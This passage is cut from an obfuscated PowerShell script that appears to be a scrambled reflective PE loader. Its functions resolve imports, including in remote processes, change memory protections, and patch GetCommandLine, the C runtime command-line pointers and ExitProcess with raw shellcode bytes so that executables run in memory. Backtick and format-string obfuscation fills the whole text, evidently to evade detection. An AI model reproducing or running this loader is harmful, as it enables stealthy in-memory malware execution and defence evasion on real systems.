[System.Runtime.InteropServices.Marshal]::"pTR`TOSTR`UCt`URE"(${OrIg`i`NAlTH`UNkreF}, [Type][IntPtr]) while (${oRIG`inALtH`U`Nk`REfV`AL} -ne [IntPtr]::"zE`Ro") { ${LOA`DbYord`I`NAL} = ${fA`LsE} [IntPtr]${PR`O`C`e`DuRena`meptR} = [IntPtr]::"z`erO" [IntPtr]${NEw`Th`U`NkReF} = [IntPtr]::"Ze`RO" if([System.Runtime.InteropServices.Marshal]::"SI`ZEOF"([Type][IntPtr]) -eq 4 -and [Int32]${o`R`igiN`AlThUnk`RefVaL} -lt 0) { [IntPtr]${pRo`C`EDUreN`AME`PTr} = [IntPtr]${ORIgIN`A`LthUnKRef`V`Al} -band 0xffff ${loAdb`yO`RD`inAL} = ${T`RuE} } elseif([System.Runtime.InteropServices.Marshal]::"sI`zeOf"([Type][IntPtr]) -eq 8 -and [Int64]${oRi`gi`NA`LTHUNk`Re`Fv`Al} -lt 0) { [IntPtr]${pR`OCeDUR`ENAM`eptR} = [Int64]${or`IgIn`ALt`H`Un`KReFVAL} -band 0xffff ${LOAd`BYoR`dInal} = ${t`RuE} } else { [IntPtr]${STR`IN`gADdr} = &("{2}{5}{1}{3}{0}{4}" -f'g','AsUn','Add','si','ned','-SignedInt') (${pE`InFo}."PEhaN`dlE") (${orIgi`NAL`T`HU`N`krEFVAl}) ${STrI`NGA`D`dr} = &("{6}{1}{5}{7}{2}{3}{4}{0}" -f'd','n','tAsUnsi','g','ne','e','Add-Sig','dIn') ${s`TrINg`A`ddr} ([System.Runtime.InteropServices.Marshal]::"sIZe`Of"([Type][UInt16])) ${PROC`edUrE`N`Ame} = [System.Runtime.InteropServices.Marshal]::"ptR`TOst`RI`N`GaNSi"(${str`in`G`ADdr}) ${pRoCEdURE`Nam`EP`Tr} = [System.Runtime.InteropServices.Marshal]::"st`RIN`g`TO`HGLoBalA`NSI"(${prO`C`E`d`URENAmE}) } if (${rEMOt`ElOA`D`ING} -eq ${TR`UE}) { [IntPtr]${New`ThUnk`Ref} = &("{2}{4}{3}{0}{1}" -f 'rocAddres','s','Get-Re','P','mote') -RemoteProcHandle ${r`EmoTeP`ROcH`AnDLE} -RemoteDllHandle ${I`mPOrtD`LlhAnDLe} -FunctionNamePtr ${P`RoCeD`U`RenAmEpTr} -LoadByOrdinal ${LoA`dbY`o`R`DINAL} } else { [IntPtr]${nEw`T`HUnk`REF} = ${WI`N`32Fu`NcT`IoNs}."gEtp`RocADDrE`sSinTp`TR"."i`NvOke"(${i`M`poRTDLl`HaNd`Le}, ${pr`oC`EdUrEna`MePtR}) } if (${nEwtHU`NK`R`eF} -eq ${n`UlL} -or ${n`ewtH`UNKRef} -eq [IntPtr]::"z`ErO") { if (${LO`A`DByordiN`Al}) { Throw "" } else { Throw "" } } [System.Runtime.InteropServices.Marshal]::"STr`UcTur`ET`op`Tr"(${neW`THUN`kREF}, ${ThUNk`R`Ef}, ${fA`lSe}) ${tH`U`NKrEF} = &("{4}{3}{5}{2}{1}{0}{6}" -f's','dIntA','ne','dd-Si','A','g','Unsigned') ([Int64]${t`HUN`kreF}) ([System.Runtime.InteropServices.Marshal]::"S`IzeOF"([Type][IntPtr])) [IntPtr]${O`RigIN`A`ltHuNKReF} = &("{2}{3}{4}{0}{1}"-f'signe','d','Add-Si','gnedIntAsU','n') ([Int64]${o`Ri`gIN`A`lthUnKreF}) ([System.Runtime.InteropServices.Marshal]::"s`IZeOf"([Type][IntPtr])) [IntPtr]${or`I`g`inAlTh`U`NKreF`VaL} = [System.Runtime.InteropServices.Marshal]::"pTrt`O`StRuC`TuRE"(${oRi`GI`N`AlTHUnk`REF}, [Type][IntPtr]) if ((-not ${LoA`db`yoRdi`NaL}) -and (${PrO`CedUre`NAM`ePTr} -ne [IntPtr]::"z`ERO")) { [System.Runtime.InteropServices.Marshal]::"f`Ree`hgLob`Al"(${pRocEdU`ReN`Am`E`PTr}) ${pRocedUrE`Nam`E`PTr} = [IntPtr]::"z`ERO" } } ${ImpO`RTdE`s`CRiPtoRPTR} = &("{5}{3}{4}{2}{1}{0}"-f 'AsUnsigned','Int','gned','d','-Si','Ad') (${iMPO`RtDEScRip`TorP`Tr}) ([System.Runtime.InteropServices.Marshal]::"SIZ`Eof"([Type]${wIN`32TY`pES}."IMAGE_imPOrT_d`ES`CR`IpTOR")) } } } Function Get-vIrtUa`lPROtEc`T`Va`lUE { Param( [Parameter(pOSItIOn = 0, mANdAToRY = ${tR`UE})] [UInt32] ${sE`CTi`ONC`Ha`RAct`EriStI`cS} ) ${PRoT`Ect`ion`FLaG} = 0x0 if ((${Sec`TiONc`HA`Ra`ctEristicS} -band ${WiN3`2CON`StANTs}."IMaGe_s`cn`_mEM_e`xe`CUte") -gt 0) { if ((${sECtI`O`NcH`Ar`A`Ct`Eri`STicS} -band ${W`iN32`C`onSTAn`TS}."IMa`gE_SCN_M`EM_re`Ad") -gt 0) { if ((${seCTiON`cHA`RAC`TerIS`T`iCs} -band ${W`IN3`2CoNsTanTS}."I`m`Ag`E_sCN_meM_wrITe") -gt 0) { ${pROtE`CT`IonfL`AG} = ${w`In32C`O`N`sTanTs}."p`Ag`E_`eXEc`U`Te_r`eaDwRITe" } else { ${PROT`ECT`iONF`lag} = ${wi`N32Co`NStAnTs}."pa`Ge_ExEcute`_`R`EAd" } } else { if ((${sEC`T`iONCHARACT`er`I`stI`CS} -band ${WI`N32CO`N`STaNtS}."imAGE_sCN_MeM`_w`R`i`TE") -gt 0) { ${ProTE`cTIo`NFL`AG} = ${Win3`2CON`St`A`NTS}."P`AG`E_ExEc`UtE_`W`RIt`ecoPY" } else { ${p`R`oTec`TIoN`FlAg} = ${W`in32co`Ns`TA`NtS}."PAg`e_eXE`cu`TE" } } } else { if ((${se`ct`ionCH`ArAcT`Er`isTICs} -band ${W`iN32`cO`N`stanTs}."Image`_sc`N_`MEm`_ReAd") -gt 0) { if ((${sE`cT`IOncha`R`A`c`Teri`stIcS} -band ${wIn3`2cON`stAn`TS}."IM`A`ge_sCn_meM_`WR`i`Te") -gt 0) { ${PROT`ec`TI`OnfLag} = ${WiN`32CO`NstAn`Ts}."P`Ag`e_r`EaDwr`ITE" } else { ${PRo`Te`ctIO`NF`lag} = ${wIn32CONst`An`TS}."Pag`e_`R`EADOnLy" } } else { if ((${s`ectIonC`hAra`ct`ER`IStics} -band ${W`in32COnStan`TS}."I`mA`ge`_SCn_`m`eM_wRite") -gt 0) { ${pR`o`Te`ctIoNFlAg} = ${WI`N32`cOnsT`Ants}."p`AGe_W`RIte`cOpY" } else { ${Pro`TecTIO`NF`LAg} = ${WiN3`2c`o`Nst`ANtS}."p`AgE_nOacC`ess" } } } if ((${SeCT`Io`NchAr`ACtErIs`T`ICS} -band ${W`in`32CONs`TA`Nts}."ImagE_`ScN_MeM_`NOT_CA`c`heD") -gt 0) { ${PR`OTe`ctionf`lAg} = ${PR`O`TEctIon`FLaG} -bor ${wIn32C`onst`AN`Ts}."P`AgE_`NOCAc`HE" } return ${PROte`C`TI`OnfLaG} } Function U`PDAtE-`mEMORY`PrO`TECtiONflAgS { Param( [Parameter(pOSITiOn = 0, MaNDatoRY = ${t`Rue})] [System.Object] ${pe`i`NFo}, [Parameter(poSition = 1, maNDAToRY = ${T`RUE})] [System.Object] ${WIN3`2fU`NC`TIons}, [Parameter(pOSItION = 2, ManDaTOry = ${T`RUe})] [System.Object] ${wIn`32COnStAN`Ts}, [Parameter(pOSitIOn = 3, MANDAtorY = ${t`RuE})] [System.Object] ${W`iN32tyP`ES} ) for( ${i} = 0; ${i} -lt ${P`eINfo}."ImAGE_`N`T`_`heADERS"."FI`L`eHeAdER"."NU`mBE`RofsE`Cti`ONS"; ${i}++) { [IntPtr]${sEc`Tio`NHeaDERp`TR} = [IntPtr](&("{3}{2}{1}{0}" -f 'gned','tAsUnsi','d-SignedIn','Ad') ([Int64]${P`ei`NFO}."sectI`oN`HeaD`Er`PTr") (${i} * [System.Runtime.InteropServices.Marshal]::"S`I`zeOf"([Type]${Win32Ty`p`es}."iM`Age_SEc`TION_HeAd`er"))) ${sECTIonHeA`d`eR} = [System.Runtime.InteropServices.Marshal]::"PtrT`OStR`Uc`TU`RE"(${sECTi`ON`HEADER`p`Tr}, [Type]${win32`TY`P`ES}."IMAgE_seCTIOn`_`H`eAdER") [IntPtr]${S`ecti`ON`PtR} = &("{1}{5}{6}{0}{3}{2}{4}{7}" -f'edIn','Add-S','sUns','tA','i','i','gn','gned') (${pEI`NFO}."P`EHANdLe") (${S`ect`IoNhE`AD`ER}."viRTuAladDr`e`ss") [UInt32]${P`R`OtEC`TflAg} = &("{3}{5}{4}{1}{2}{0}"-f 'ue','tect','Val','Get','o','-VirtualPr') ${sectiON`HEa`D`ER}."cHArAc`Te`R`isTics" [UInt32]${Se`C`Ti`oNSize} = ${sEctION`hE`ADer}."VIRtUA`LSI`zE" [UInt32]${OLdp`Ro`TeC`TFl`Ag} = 0 &("{0}{1}{4}{3}{2}" -f 'Test','-','moryRangeValid','e','M') -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo ${Pein`FO} -StartAddress ${se`CTion`pTR} -Size ${sEct`iO`NS`izE} | &("{1}{0}{2}" -f'ut-N','O','ull') ${SUC`C`esS} = ${WIn32`Fun`cT`iONs}."VIrtuAl`pROTe`CT"."i`NVo`kE"(${sEc`T`ionp`Tr}, ${sECt`iO`Nsi`ZE}, ${p`RoTe`CTF`Lag}, [Ref]${old`PR`Otect`F`lAG}) if (${SU`cc`eSs} -eq ${fA`lSE}) { Throw "" } } } Function UP`dA`TE-Ex`EFun`cTioNs { Param( [Parameter(POsitiON = 0, MANdaToRY = ${Tr`UE})] [System.Object] ${Pe`iN`FO}, [Parameter(pOSITIoN = 1, manDATORY = ${tr`Ue})] [System.Object] ${wI`N`32FuNCTIOnS}, [Parameter(POSitIOn = 2, mANDAtORY = ${tr`UE})] [System.Object] ${w`In`32CONSTanTS}, [Parameter(PoSitIon = 3, MaNdAtOry = ${t`RuE})] [String] ${EXE`ArgUM`E`NTs}, [Parameter(POsITIoN = 4, manDATORY = ${T`RuE})] [IntPtr] ${EXEd`o`NebyTEPTr} ) ${r`eTuRnaR`RAy} = @() ${PTr`S`IzE} = [System.Runtime.InteropServices.Marshal]::"Siz`EoF"([Type][IntPtr]) [UInt32]${ol`dpR`oT`ECTflAG} = 0 [IntPtr]${kERn`El32`HAn`dlE} = ${W`iN3`2fUnCT`I`Ons}."ge`TmODule`hAnd`LE"."INVo`ke"("Kernel32.dll") if (${KERnel32H`A`N`Dle} -eq [IntPtr]::"z`eRO") { throw "" } [IntPtr]${KeRn`ElBA`S`EhAndLE} = ${w`in32`FU`N`cTIoNs}."gEtM`odU`LeHAnDLe"."iN`Voke"("KernelBase.dll") if (${kEr`NElBAs`E`HANdLe} -eq [IntPtr]::"Z`ERo") { throw "" } ${CMdlIN`e`WAR`gs`p`Tr} = [System.Runtime.InteropServices.Marshal]::"S`TriNg`TO`HgLobaLU`Ni"(${e`xEAr`G`UmEn`TS}) ${cM`DL`ineAA`RGSPtR} = [System.Runtime.InteropServices.Marshal]::"sTrinGtohG`L`OBAl`ANSi"(${ex`e`AR`gu`MeNTs}) [IntPtr]${g`EtcoMMAnD`LInE`AA`ddr} = ${wiN`32`FunC`TioNs}."GET`P`ROCaDDr`E`ss"."i`NVoke"(${kErN`eLB`AsEh`A`N`DlE}, "GetCommandLineA") [IntPtr]${G`eTco`MMan`dL`inewa`D`Dr} = ${wIn3`2`Fun`cT`IOns}."GET`pROcadD`R`ess"."I`Nvo`kE"(${kERNeLB`AS`eh`AnD`Le}, "GetCommandLineW") if (${gETCommaNdli`Ne`AaD`DR} -eq [IntPtr]::"Z`eRO" -or ${gETcOM`MAnd`Li`Ne`waDdR} -eq [IntPtr]::"z`eRO") { throw "" } [Byte[]]${s`HelLC`OD`E1} = @() if (${pTrS`I`ze} -eq 8) { ${SH`el`lCO`DE1} += 0x48 } ${S`hEl`l`CoDE1} += 0xb8 [Byte[]]${sH`Ellc`OD`e2} = @(0xc3) ${tOT`Als`IZE} = ${shel`lC`oDe1}."leN`G`Th" + ${PTR`sI`ze} + ${s`he`Ll`COde2}."L`e`Ngth" ${g`Et`co`MmaN`Dlin`EAo`RIgbY`T`ESPtr} = [System.Runtime.InteropServices.Marshal]::"Al`LOchG`lOB`AL"(${toT`A`LsIZe}) ${GeTC`omma`NdLINEWor`i`gbY`T`e`Sp`TR} = [System.Runtime.InteropServices.Marshal]::"ALloCH`G`l`OBal"(${t`Ot`Al`SizE}) ${Win3`2fU`NCT`ionS}."meMc`Py"."IN`Vo`ke"(${gEtC`O`mmaND`l`iN`E`AOriGB`ytES`pTR}, ${gE`TComm`AnDL`I`NE`Aa`DdR}, [UInt64]${TO`T`AlsIze}) | &("{2}{1}{0}"-f'l','t-Nul','Ou') ${WIn3`2FuN`CTi`onS}."MeM`Cpy"."In`VOKe"(${g`etc`o`Mmand`Linew`oriGb`YTe`S`PTr}, ${g`eT`cOmm`A`NDLInewA`d`Dr}, [UInt64]${ToTa`l`SIze}) | &("{0}{2}{1}"-f 'Out','ull','-N') ${RET`Ur`N`ARraY} += ,(${GEtCoMMA`Nd`l`inE`AAdDR}, ${GetCoMM`A`NDLI`Ne`Ao`R`IGb`YT`Esptr}, ${t`otaLs`ize}) ${REtU`RN`ArrAY} += ,(${Ge`Tc`oM`M`AndlInewAdDr}, ${gEtC`OmmAn`d`lI`NEwOR`iGb`YtesPTr}, ${TO`TALsI`ze}) [UInt32]${o`L`DPrO`TECTFlaG} = 0 ${Su`c`cESs} = ${wI`N32`Fu`N`cTIONs}."virT`UaLp`RoteCT"."iNVO`Ke"(${g`eTCOmMan`dLi`N`EaaD`dr}, [UInt32]${To`TA`ls`iZE}, [UInt32](${win`32cONs`TA`NtS}."page_exEcUTe`_R`eAdwri`TE"), [Ref]${OLDPrOT`ECt`F`LaG}) if (${suC`C`Ess} = ${fAl`Se}) { throw "" } ${gEt`c`OmManD`line`Aad`DRte`mp} = ${gETCommaND`lI`NEa`A`DDr} &("{0}{1}{4}{2}{3}" -f 'Write-B','ytesT','Memo','ry','o') -Bytes ${she`llC`oDE1} -MemoryAddress ${GetC`o`m`m`AndLi`NeaADdrteMp} ${GEtCo`mMa`NDLI`Ne`Aa`ddrt`EmP} = &("{5}{2}{1}{4}{3}{0}" -f 'ned','Un','d-SignedIntAs','g','si','Ad') ${GET`CO`mmaNDLINE`AADdr`TEMP} (${shELL`c`od`e1}."l`EngtH") [System.Runtime.InteropServices.Marshal]::"s`TRUc`Ture`Top`TR"(${cM`dl`in`eAArgSptR}, ${GEtcOMManDlI`N`Ea`ADd`R`Te`Mp}, ${Fa`l`Se}) ${GetComMAnDL`INE`Aaddrt`e`mP} = &("{1}{3}{4}{2}{0}" -f 'AsUnsigned','Add-Si','nt','g','nedI') ${GEtcomM`A`NdlinEa`Addrte`MP} ${ptRsi`Ze} &("{0}{2}{1}{3}{5}{4}"-f'Wr','t','ite-By','e','emory','sToM') -Bytes ${SH`e`L`lCodE2} -MemoryAddress ${GETCoMma`Ndl`InE`AaDDrt`emP} ${w`In32funCt`Io`NS}."v`IRT`U`ALProteCt"."iN`VOKe"(${gEtcOM`MaNdl`inE`AA`dDr}, [UInt32]${To`TaLS`IZe}, [UInt32]${Ol`d`proTEC`TFL`Ag}, [Ref]${o`lDPR`OTe`cTfL`AG}) | &("{1}{0}{2}" -f 'ut-Nul','O','l') [UInt32]${Ol`DProtEc`T`FLaG} = 0 ${s`UccESs} = ${win32FUNC`T`IONs}."vIR`Tu`A`lpROT`EcT"."iNV`Oke"(${Ge`T`CO`mMAnDLIn`eWA`D`dr}, [UInt32]${t`o`TalSIZe}, [UInt32](${Win32c`o`NST`A`Nts}."pA`Ge_eX`eCUt`e_r`eadWr`I`Te"), [Ref]${oLd`pROTE`cTfl`AG}) if (${s`UC`cEsS} = ${fA`L`Se}) { throw "" } ${g`etcoMM`ANDlIne`Wa`dDrteMP} = ${GetCOM`mA`Nd`L`iNEwAddr} &("{0}{5}{1}{3}{6}{2}{4}" -f'W','t','oM','e-Byt','emory','ri','esT') -Bytes ${She`lLCoD`e1} -MemoryAddress ${gE`T`comManDL`InEW`AdDrTEmp} ${G`eTcoMManDli`N`E`WADdR`TemP} = &("{2}{0}{1}{4}{3}"-f 'edInt','AsU','Add-Sign','ned','nsig') ${g`ET`C`oM`MANDL`InEWAdd`Rt`EMP} (${SHELl`cOD`E1}."L`Eng`TH") [System.Runtime.InteropServices.Marshal]::"St`R`UCTuRe`TOp`TR"(${c`m`Dli`NewargSP`Tr}, ${GetComm`AND`li`N`e`Wa`dD`RtEMp}, ${f`A`lsE}) ${gEtC`OmMAN`DlInEWA`Ddrte`mP} = &("{2}{3}{1}{0}{4}"-f'Unsi','dIntAs','Add-Si','gne','gned') ${GE`T`cOMMAN`DLiNEWa`Dd`RteMp} ${p`TR`siZe} &("{2}{0}{4}{1}{3}" -f 'To','mo','Write-Bytes','ry','Me') -Bytes ${s`hEllC`oDE2} -MemoryAddress ${GetComMa`ND`lIn`e`WADDR`TeMp} ${WiN3`2FU`N`C`TIoNs}."vIrTU`A`l`pRot`ECt"."i`NVOKe"(${geTcOmmAnDLin`e`waD`DR}, [UInt32]${T`otAL`Size}, [UInt32]${OLDPR`OTE`CtF`L`AG}, [Ref]${O`Ld`p`ROTeCTfL`Ag}) | &("{2}{0}{1}" -f 'N','ull','Out-') ${D`llli`ST} = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") foreach (${D`ll} in ${D`LlL`ISt}) { [IntPtr]${D`LLHAn`DlE} = ${WIn32F`Un`Ctio`NS}."getMO`du`LEH`A`NdlE"."In`Voke"(${D`lL}) if (${DLLHAN`D`lE} -ne [IntPtr]::"ze`RO") { [IntPtr]${WCm`dlna`d`Dr} = ${win3`2Fun`cT`ions}."get`P`RocaddR`ESs"."i`NvO`kE"(${d`ll`haND`lE}, "_wcmdln") [IntPtr]${ACM`dLnAd`Dr} = ${w`In3`2fu`NCt`ioNs}."ge`TPro`C`ADD`REss"."iN`Vo`KE"(${dLLhA`N`dlE}, "_acmdln") if (${w`C`MdL`Naddr} -eq [IntPtr]::"z`Ero" -or ${A`cMd`LnaDDR} -eq [IntPtr]::"ZE`Ro") { "Error, couldn't find _wcmdln or _acmdln" } ${NEW`Acm`D`lnPTr} = [System.Runtime.InteropServices.Marshal]::"Str`inG`T`oHg`lOBalaNSi"(${E`Xea`RGUm`ENTs}) ${nEWwCM`DLnp`Tr} = [System.Runtime.InteropServices.Marshal]::"sTr`iN`gTOhgLOb`A`lUnI"(${eXeARG`UMeN`Ts}) ${or`IgaCmdL`N`p`Tr} = [System.Runtime.InteropServices.Marshal]::"p`Tr`TOStRUCTUrE"(${AC`md`L`NaDDR}, [Type][IntPtr]) ${OrIgwC`md`lNPtR} = [System.Runtime.InteropServices.Marshal]::"PTrTost`RUC`TurE"(${w`CmdlNa`DdR}, [Type][IntPtr]) ${ori`ga`cmdLN`pTRsToR`AGE} = [System.Runtime.InteropServices.Marshal]::"A`LLoCH`GLoBAL"(${PT`R`sIze}) ${OriG`wC`M`Dlnp`Trst`orAgE} = [System.Runtime.InteropServices.Marshal]::"AllO`chglo`B`AL"(${pT`R`siZE}) [System.Runtime.InteropServices.Marshal]::"STruC`TUr`Et`oP`Tr"(${O`RI`g`ACMDLNpTR}, ${o`RiGA`cmD`lNp`TR`STo`RaGE}, ${fa`lSe}) [System.Runtime.InteropServices.Marshal]::"S`TRuCtuRe`ToPtr"(${oR`IgWCmDLN`p`Tr}, ${oRIG`WCMdLnp`Tr`STOR`A`gE}, ${F`AlSE}) ${R`ET`UrNa`RraY} += ,(${aCm`D`LnAdDR}, ${OriG`AcMdLNp`TRStO`R`AGE}, ${pt`RS`ize}) ${retuRn`A`R`Ray} += ,(${WcmD`Lnad`dr}, ${oriGW`CmdlN`PtRST`ORagE}, ${ptRsI`ze}) ${SUC`Ce`Ss} = ${WIN32fUn`c`TiONs}."v`IrTuAlPR`OTEcT"."INV`okE"(${acmDl`NAD`Dr}, [UInt32]${pt`RsI`ZE}, [UInt32](${Wi`N32c`O`NStAnts}."PAg`E_exEc`Ut`e_rEaD`wriTe"), [Ref]${o`lDpR`oTe`cTFLAG}) if (${S`UCce`sS} = ${FA`Lse}) { throw "" } [System.Runtime.InteropServices.Marshal]::"struCt`Ur`eTO`p`Tr"(${nE`w`AcMDl`Np`TR}, ${ac`Md`L`NAddr}, ${f`ALsE}) ${w`iN32`FUNc`TIo`NS}."v`IR`TUalpROtEct"."I`Nvoke"(${AC`m`DLnA`DdR}, [UInt32]${pt`Rsi`ZE}, [UInt32](${oLDp`RO`TE`c`TflAg}), [Ref]${O`ld`PROTecTfL`Ag}) | &("{0}{1}"-f'Out-N','ull') ${Su`C`CEss} = ${win32fu`N`c`TioNS}."vi`R`TuaLPRO`T`ecT"."INVo`KE"(${WCm`d`LNa`ddr}, [UInt32]${PTRs`izE}, [UInt32](${W`I`N32constANTs}."PAG`E_E`X`eCUTE_re`A`dWri`TE"), [Ref]${OLD`PRoT`ECtFLAG}) if (${sucC`e`Ss} = ${F`A`lSe}) { throw "" } [System.Runtime.InteropServices.Marshal]::"stRUC`TuR`et`OpTr"(${nEwWCMD`L`NPtR}, ${WC`md`LnaDDr}, ${fAl`sE}) ${W`IN3`2FUNC`TIoNs}."v`IR`Tua`lPrOtEct"."IN`VOKe"(${WCMD`Ln`AD`Dr}, [UInt32]${pt`RSize}, [UInt32](${OlDP`ROtE`CtF`lAg}), [Ref]${oldp`RO`Te`CTFLAG}) | &("{1}{2}{0}" -f'ull','Out-','N') } } ${reTuR`Narr`AY} = @() ${eXiTfUN`CT`iO`NS} = @() [IntPtr]${mS`CORE`eha`NdLE} = ${W`In32fu`NCT`iO`Ns}."GEtMoD`ULEHA`NdLe"."inVO`KE"("mscoree.dll") if (${m`Scor`Eeh`ANdlE} -eq [IntPtr]::"Z`ero") { throw "" } [IntPtr]${cOr`Ex`i`TPR`oceSS`ADDR} = ${W`In`32Fun`ctionS}."gEt`P`RoCaDdRe`Ss"."I`NvO`Ke"(${mSCO`R`eE`HaNdLe}, "CorExitProcess") if (${COrExI`T`PRoc`EsSAd`dr} -eq [IntPtr]::"z`Ero") { Throw "" } ${Ex`I`TFUnCtIo`Ns} += ${c`orE`xit`pROcessaDDR} [IntPtr]${eXIt`PRoC`eS`sAddr} = ${win32fuN`C`T`i`ons}."geT`Pr`OCaDDRess"."InvO`Ke"(${kerNel32`H`AnD`LE}, "ExitProcess") if (${eXiTPR`OcEsSaD`Dr} -eq [IntPtr]::"Z`eRO") { Throw "" } ${e`xi`TFunctIONS} += ${eX`I`TpRO`CEss`ADDR} [UInt32]${oL`dp`R`Ot`ECtFLAg} = 0 foreach (${PR`OcExi`TfuN`CT`i`OnA`DDr} in ${eXIt`FuncTI`onS}) { ${P`RocEX`itf`UNC`Tionad`D`R`TMP} = ${PR`oCeXI`T`FuNCtI`oNa`DdR} [Byte[]]${shelL`CO`de1} = @(0xbb) [Byte[]]${s`HelLcO`DE2} = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) if (${pt`RsI`Ze} -eq 8) { [Byte[]]${sHEL`l`cOD`E1} = @(0x48, 0xbb) [Byte[]]${S`HeLL`Co`DE2} = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) } [Byte[]]${shEL`lc`o`dE3} = @(0xff, 0xd3) ${TOT`A`LSize} = ${Sh`E`ll`coDE1}."l`e`NgTh" + ${PTr`S`IZE} + ${sheL`L`coDe2}."lenG`Th" + ${pTR`Si`Ze} + ${S`HeL`LC`ODe3}."LE`NgTh" [IntPtr]${ex`ittHreA`d`ADDr} = ${WIN3`2F`U`NcTIONs}."GEtPR`Oc`A`ddRE`Ss"."INVo`KE"(${Kern`EL`32HaNd`lE}, "ExitThread") if (${E`xIt`THr`ea`daDdR} -eq [IntPtr]::"z`eRo") { Throw "" } ${SUC`c`ess} = ${WI`N32Fu`NC`TIoNS}."VIrTuA`LP`R`ote`ct"."I`NvO`ke"(${PrOcExit`F`UNC`Ti`onA`dDr}, [UInt32]${To`TA`l`sIzE}, [UInt32]${Wi`N32C`O`NsTAnTs}."Page_e`X`eCuTE_rEADwr`ite", [Ref]${OL`DPRo`T`Ec`TfLAg}) if (${SU`Cc`eSS} -eq ${fA`lse}) { Throw "" } ${EX`itPROCEssoRIGb`Y`Te`SP`TR} = [System.Runtime.InteropServices.Marshal]::"AlLo`chg`LObaL"(${tOt`A`lSiZE}) ${wiN`3`2`FuN`CtIONS}."me`MCpy"."inV`O`ke"(${EXiTPr`OCESsO`Rigb`ytes`ptR}, ${pRO`ceXItFU`NCT`ion`AdDR}, [UInt64]${T`oTALs`i`zE}) | &("{1}{0}"-f 'll','Out-Nu') ${REtU`RNAR`RAy} += ,(${pR`Oc`exitF`UNctiON`Addr}, ${exItP`R`OC`eSsORigBy`TespTR}, ${t`O`TalSiZE}) &("{3}{4}{2}{0}{5}{1}" -f't','y','e-By','Wri','t','esToMemor') -Bytes ${sHeLLCo`D`E1} -MemoryAddress ${p`Ro`cEXItFu`NCt`I`O`NaDDRTMp} ${P`ROce`X`iTfuncTioN`A`DDrTmp} = &("{1}{0}{2}{4}{5}{3}" -f 'dd-Sign','A','edI','ed','ntAsU','nsign') ${p`ROcexiT`FUnctIO`N`AdD`Rt`MP} (${shEL`LC`oDE1}."leNg`TH") [System.Runtime.InteropServices.Marshal]::"ST`RucTu`RE`TopTR"(${e`xeDO`NEbYt`EPtr}, ${proce`XI`TfuNcTio`Na`DDrt`mP}, ${FAL`se}) ${PR`OcEx`iTfun`cTIONADD`R`T`Mp} = &("{4}{1}{6}{5}{2}{3}{0}" -f'ed','d-Si','AsUn','sign','Ad','nedInt','g') ${pr`O`c`ex`Itf`UNcTiONAdDRtmP} ${Ptr`sIZe} &("{0}{4}{5}{3}{1}{2}"-f 'Wr','esT','oMemory','t','ite','-By') -Bytes ${sh`ELlcO`dE2} -MemoryAddress ${PROCEx`iT`Fun`ctIo`Na`DDR`TMP} ${ProcExIt`Fu`N`ct`iONadDRT`mP} = &("{0}{2}{5}{4}{3}{1}" -f 'A','gned','dd-Sig','nsi','ntAsU','nedI') ${pRocExi`TfUNCtIo`N`Ad`DRTMP} (${ShE`Llc`OdE2}."Le`Ngth") [System.Runtime.InteropServices.Marshal]::"sTRuC`TuR`eT`opTr"(${exItth`ReaDA`D`Dr}, ${pr`OCe`xITFuNc`T`iONADD`Rt`Mp}, ${FA`lse}) ${P`Rocexitf`U`NCti`On`AdDr`T`MP} = &("{5}{2}{1}{4}{0}{3}"-f'igne','ignedIntAsU','S','d','ns','Add-') ${prOCe`X`ItFu`NcTIonaD`dRtMp} ${P`Tr`Size} &("{1}{3}{4}{0}{2}{5}"-f'tesToMemo','Writ','r','e','-By','y') -Bytes ${Sh`e`LLcO`de3} -MemoryAddress ${prOCEXi`T`F`UN`CtIo`NaD`drtmP} ${Win32FU`N`CT`iONS}."VIr`TUalpr`OT`ECt"."InvO`Ke"(${P`ROcE`XItFuNC`Tio`NA`D`DR}, [UInt32]${toTA`ls`Ize}, [UInt32]${OL`DproT`eCtfLAG}, [Ref]${Ol`dPRO`T`ectFL`Ag}) | &("{0}{1}" -f'Out','-Null') } &("{2}{0}{1}"-f '-','Output','Write') ${re`T`Urn`ArrAY} } Function CO`pY-Arra`Y`o`F`MEmad`dReS`SEs { Param( [Parameter(PoSITiON = 0, MANdATORY = ${t`RuE})] [Array[]] ${cop`YIn`Fo}, [Parameter(pOsiTIon = 1, MANDaTORY = ${tR`Ue})] [System.Object] ${wIn32f`Unc`Ti`ons}, [Parameter(position = 2, mANdatoRY = ${t`Rue})] [System.Object] ${WIn3`2C`oNsTan`Ts} ) [UInt32]${olD`pRO`T`ecT`FLAG} = 0 foreach (${I`Nfo} in ${co`PY`INFO}) { ${s`UcCEsS} = ${wIN32`F`U`NctI`Ons}."vIr`TUA`l`pROTe`Ct"."In`V`Oke"(${I`NFo}[0], [UInt32]${i`NfO}[2], [UInt32]${WIn32c`ONSTa`NTs}."PAge_`ExecU`T`e_rEadWr`iTe", [Ref]${o`ldPR`O`TecTfl`Ag}) if (${Suc`CE`ss} -eq ${fAl`SE}) { Throw "" } ${w`iN3`2Fu`NCtIoNs}."MemC`pY"."InV`OKe"(${In`Fo}[0], ${i`Nfo}[1], [UInt64]${i`Nfo}[2]) | &("{0}{1}" -f'Ou','t-Null') ${w`in32`FunCTIons}."VIRtUA`LPr`oTe`ct"."I`NVoKe"(${iN`Fo}[0], [UInt32]${IN`FO}[2], [UInt32]${ol`dPROt`ect`FLAg}, [Ref]${Ol`D`ProteC`T`FLaG}) | &("{0}{1}"-f'Out-Nul','l') } } Function G`ET-M`e`MoRYPROCaDdreSS { Param( [Parameter(positiON = 0, mANdATory = ${TR`UE})] [IntPtr] ${pE`h`ANDLe}, [Parameter(posITiOn = 1, maNDatoRy = ${T`RUe})] [String] ${fUnc`TI`On`NaME} ) ${WIN3`2TY`PES} = &("{3}{2}{1}{0}" -f'pes','Ty','n32','Get-Wi') ${Win`32c`oN`sta`NTS} = &("{3}{1}{0}{2}" -f 'onsta','n32C','nts','Get-Wi') ${P`EiNFo} = &("{0}{3}{2}{1}"-f 'G','ledInfo','-PEDetai','et') -PEHandle ${PEhA`N`Dle} -Win32Types 